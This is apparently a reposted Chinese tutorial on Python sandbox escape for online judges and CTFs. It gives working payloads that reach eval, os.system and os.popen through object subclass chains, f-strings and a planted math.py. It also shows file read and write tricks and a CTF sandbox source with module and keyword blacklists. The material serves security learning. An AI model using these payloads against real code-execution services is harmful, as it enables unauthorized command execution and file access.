加入收藏 | 设为首页 | 会员中心 | 我要投稿 湖南网 (https://www.hunanwang.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 建站 > 正文

一文看懂Python沙箱逃逸

发布时间:2019-05-22 23:32:34 所属栏目:建站 来源:Macr0phag3
导读:让用户提交 Python 代码并在处事器上执行,是一些 OJ、量化网站重要的处事,许多 CTF 也有相同的题。为了不让恶意用户执行恣意的 Python 代码,就必要确保 Python 运行在沙箱中。沙箱常常会禁用一些敏感的函数,譬喻 os,研究怎么逃逸、防护这类沙箱照旧蛮

还可以这样操作:

  1. class test(dict): 
  2.     def __init__(self): 
  3.         print(super(test, self).keys.__class__.__call__(eval, '1+1')) 
  4.         # 假如是 3.x 的话可以简写为: 
  5.         # super().keys.__class__.__call__(eval, '1+1')) 
  6. test() 

上面的这些操作方法总结起来就是通过__class__、__mro__、__subclasses__、__bases__等等属性/要领去获取 object,再按照__globals__找引入的__builtins__可能eval等等可以或许直接被操作的库,可能找到builtin_function_or_method类/范例__call__后直接运行eval。

最后,担任链的逃逸尚有一些操作第三方库的方法,好比 jinja2,这类操作方法应该是叫 SSTI,可以看这个:传送门,这里就不多说了。

二、文件读写

2.x 有个内建的 file:

  1. >>> file('key').read() 
  2. 'Macr0phag3n' 
  3. >>> file('key', 'w').write('Macr0phag3') 
  4. >>> file('key').read() 
  5. 'Macr0phag3' 

尚有个 open,2.x 与 3.x 通用。

尚有一些库,譬喻:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)。

为什么说写比读危害大呢?由于假如能写,可以将相同的文件生涯为math.py,然后 import 进来:

math.py:

  1. import os  
  2. print(os.system('whoami')) 

挪用

  1. >>> import math 
  2. macr0phag3 

这里必要留意的是,这里 py 文件定名是有能力的。之以是要挑一个常用的尺度库是由于过滤库名也许回收的是白名单。而且之前说过有些库是在sys.modules中有的,这些库无法这样操作,会直接从sys.modules中插手,好比re:

  1. >>> 're' in sys.modules 
  2. True 
  3. >>> 'math' in sys.modules 
  4. False 
  5. >>> 

虽然在import re 之前del sys.modules['re']也不是不行以…

最后,这里的文件定名必要留意的处所和最开始的谁人遍历测试的文件一样:因为待测试的库中有个叫 test的,假如把遍历测试的文件也定名为 test,会导致谁人文件运行 2 次,由于本身 import 了本身。

读文件暂且没什么发明出格的处所。

剩下的就是按照上面的执行体系呼吁回收的绕过要领去探求 payload 了,好比:

  1. >>> __builtins__.open('key').read() 
  2. 'Macr0phag3n' 

可能

  1. >>> ().__class__.__base__.__subclasses__()[40]('key').read() 
  2. 'Macr0phag3' 

三、其他

过滤[、]:这个举动不像是 oj 会做得出来的,ctf 倒是有也许呈现。应对的方法就是将[]的成果用pop 、__getitem__取代(现实上a[0]就是在内部挪用了a.__getitem__(0) ):

  1. >>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read() 
  2. 'macr0phag3n' 

操作新特征:PEP 498 引入了 f-string,在 3.6 开始呈现:传送门,食用方法:传送门。以是我们就有了一种船新的操作方法:

  1. >>> f'{__import__("os").system("whoami")}' 
  2. macr0phag3 
  3. '0' 

存眷每次版本增进的新特征,或者能淘到点宝物。

序列化相干:序列化也是能用来逃逸,可是关于序列化的安详题目还挺多的,假若偶然刻我再写一篇文章来接头好了。

四、栗子

这个例子来自iscc 2016的Pwn300 pycalc,相等风趣:

  1. #!/usr/bin/env python2 
  2. # -*- coding:utf-8 -*- 
  3.  
  4. def banner(): 
  5.     print "=============================================" 
  6.     print "   Simple calculator implemented by python   " 
  7.     print "=============================================" 
  8.     return 
  9.  
  10. def getexp(): 
  11.     return raw_input(">>> ") 
  12.  
  13. def _hook_import_(name, *args, **kwargs): 
  14.     module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi', 
  15.                         'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache', 
  16.                         'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip', 
  17.                         'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil', 
  18.                         'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools', 
  19.                         'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new', 
  20.                         'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib', 
  21.                         'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile', 
  22.                         'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer', 
  23.                         'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer', 
  24.                         'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 
  25.                         'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2', 
  26.                         'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport'] 
  27.     for forbid in module_blacklist: 
  28.         if name == forbid:        # don't let user import these modules 
  29.             raise RuntimeError('No you can' import {0}!!!'.format(forbid)) 
  30.     # normal modules can be imported 
  31.     return __import__(name, *args, **kwargs) 
  32.  
  33. def sandbox_filter(command): 
  34.     blacklist = ['exec', 'sh', '__getitem__', '__setitem__', 
  35.                  '=', 'open', 'read', 'sys', ';', 'os'] 
  36.     for forbid in blacklist: 
  37.         if forbid in command: 
  38.             return 0 
  39.     return 1 
  40.  
  41. def sandbox_exec(command):      # sandbox user input 
  42.     result = 0 
  43.     __sandboxed_builtins__ = dict(__builtins__.__dict__) 
  44.     __sandboxed_builtins__['__import__'] = _hook_import_    # hook import 
  45.     del __sandboxed_builtins__['open'] 
  46.     _global = { 
  47.         '__builtins__': __sandboxed_builtins__ 
  48.     } 
  49.     if sandbox_filter(command) == 0: 
  50.         print 'Malicious user input detected!!!' 
  51.         exit(0) 
  52.     command = 'result = ' + command 
  53.     try: 
  54.         exec command in _global     # do calculate in a sandboxed environment 
  55.     except Exception, e: 
  56.         print e 
  57.         return 0 
  58.     result = _global['result']  # extract the result 
  59.     return result 
  60.  
  61. banner() 
  62. while 1: 
  63.     command = getexp() 
  64.     print sandbox_exec(command) 

(编辑:湖南网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读